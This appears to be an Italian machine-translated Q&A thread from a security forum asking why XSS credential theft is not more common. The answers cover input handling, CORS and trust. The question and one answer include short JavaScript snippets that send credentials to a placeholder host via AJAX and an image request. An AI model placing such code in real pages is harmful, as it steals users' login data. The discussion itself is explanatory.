Perché non siamo tutti compromessi su internet?

2

Bene, ci ho pensato per un po 'ora.

Nell'ultimo decennio, abbiamo utilizzato vari modi per rendere i nostri siti Web dinamici e live . Ad esempio, in JavaScript, è abbastanza facile inviare dati a un server remoto utilizzando AJAX , ancora più facile con Websockets .

Esempio per alcuni AJAX dannosi :

   xmlHttp = new XMLHttpRequest();
   function process() {
     var secret = getCredentials();
     if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
        xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
        xmlHttp.send(null);
     }
     else
        setTimeout("process()", 1000);
    }

Inoltre, molto probabilmente sarete tutti d'accordo con me che gestire l'input dell'utente è un'attività molto comune che può essere compiuta usando solo poche righe di JavaScript.

Quindi, quindi, perché non vediamo nessuno dilettante che tenta di eseguire attacchi XSS che tenta di inviare i nostri input da tastiera a un server web in background per recuperare i nostri dati di accesso?

Perché è che non sembra soffrire permanentemente di questi tipi di attacchi su ogni quarto sito che visitiamo, costringendoci a modificare le nostre credenziali di accesso in tempi estremamente brevi?

Tutti i nostri siti web sono così ben protetti?

TL; DR : perché non è necessario cambiare le password ogni pochi giorni a causa di attacchi XSS apparentemente banali?

Modifica

Come per AJAX, sembra che HTTP gestisca bene questo problema:

    XMLHttpRequest cannot load http://example.com/logger.php?password.
    No 'Access-Control-Allow-Origin' header is present on the requested
    resource.

Quindi, almeno per le richieste HTTP, questo non sembra essere un problema. Ma per quanto ne so, ai websocket non interessa la fonte da cui sono stati raggiunti, o no?

    
posta 26.03.2014 - 10:56
fonte

4 risposte

4

Il numero uno dei motivi per cui non siamo tutti compromessi è che non ci sono abbastanza aggressori per fare il lavoro, e la maggior parte di voi non sono nemmeno obiettivi abbastanza interessanti. La civiltà nel suo insieme può continuare a funzionare perché la maggior parte delle persone è fondamentalmente onesta; puoi camminare per la strada tra completi estranei e nessuno di loro proverà a prenderti a pugni oa pugnalarti, nonostante il basso numero di forze di polizia. Funziona anche su Internet.

Ora quella ragione è anche quella che spiega mentre i buchi di sicurezza indotti dallo sviluppo sciatto sembrano essere lasciati indugiare per anni. XSS deriva in ultima analisi dagli sviluppatori di siti Web che non riescono a gestire i dati di input dei client come dati ; riflettono tali dati scaricandoli non modificati in pagine restituite ad altri client, un gesto fatale con cui trasformano dati in codice . Questo è un bug di progettazione e dal momento che ha delle conseguenze sulla sicurezza, quel bug è una vulnerabilità.

Le cose stanno migliorando gradualmente, però: ora, molti sviluppatori Web sono almeno consapevoli che mettere insieme una pagina di accesso sicura non è così facile come sembra. Tra le regole operative che gli sviluppatori Web iniziano a seguire più o meno consapevolmente è l'idea che una "pagina di accesso" sia qualcosa di speciale che dovrebbe essere separato dalle "pagine normali" e che, in particolare, NON contenga alcun dato riflesso dall'utente. Molti programmatori non la mettono così, sia nelle parole scritte che nella privacy della loro mente, ma seguono comunque comportamenti "igienici", che, come le loro controparti biologiche, sono efficaci anche quando non capisci loro.

    
risposta data 26.03.2014 - 17:36
fonte
1

In generale, le pagine di accesso non visualizzano il contenuto che può essere attaccato con XSS. Non c'è un buon modo per modificare il codice su quella pagina per essere in grado di monitorare la voce. Inoltre, in generale, la protezione XSS è abbastanza buona sulla maggior parte dei siti moderni, almeno sulle parti in cui potrebbe essere particolarmente dannoso.

    
risposta data 26.03.2014 - 14:35
fonte
1

Prevenire i WebSocket tra domini è lato server. Quindi sì, un attacco XSS di successo può creare una connessione web socket a un server di terze parti e inviare informazioni sensibili. Ma è lontano dall'unica tecnica che un attacco XSS può utilizzare per divulgare le informazioni su un server di terze parti. Prendi ad esempio il seguente codice:

var password = getCredentials().password;
var account = getCredentials().account; 
new Image('http://www.example.com/l337hax0r/' + account + '_' + password);

Il tuo browser cercherebbe quindi di caricare un'immagine con un nome che include nome utente e password. Il sito Web esempio.com avrebbe quindi una voce nel suo registro delle richieste con il tuo account e la password.

Quindi "Perché sembra che non sembriamo soffrire permanentemente di questo tipo di attacchi su ogni quarto sito che visitiamo"? Perché gli attacchi XSS sono possibili solo su siti web che incorporano contenuti generati dagli utenti. Certo, oggi quasi qualsiasi sito web fa in qualche modo. Ma filtrare i contenuti generati dagli utenti in un modo che rende impossibile incorporare codice script eseguibile non è poi così difficile. Ci sono molte librerie che forniscono questa funzionalità.

    
risposta data 26.03.2014 - 16:41
fonte
0

La sicurezza del Web dipende dalla fiducia.

Ti fidi degli utenti di utilizzare un browser sicuro. Ti fidi del browser per evitare richieste tra domini se non esplicitamente consentito (sembra che tu sia la preoccupazione principale). Ti fidi di Twitter, Facebook e librerie jQuery non per fare qualcosa di nefasto. E come utente, presumibilmente ti fidi che certi dot-com siano reali attenti con i loro dati, le loro pratiche e con i quali loro si fidano.

Inoltre ... come utente, presumibilmente non installerai barre degli strumenti, plug-in e "software anti-malware" da fonti di cui non ti fidi.

Detto questo, ci sono molti utenti finali che fanno "perdono" le loro credenziali. Ci sono un sacco di dot-com che sono compromessi. Uno o l'altro si fida di qualcuno o qualcosa che non dovrebbero avere. O uno di loro semplicemente trascura qualcosa. Anche i i principali giocatori possono lasciarsi aperti agli attacchi XSS .

    
risposta data 26.03.2014 - 16:05
fonte

Leggi altre domande sui tag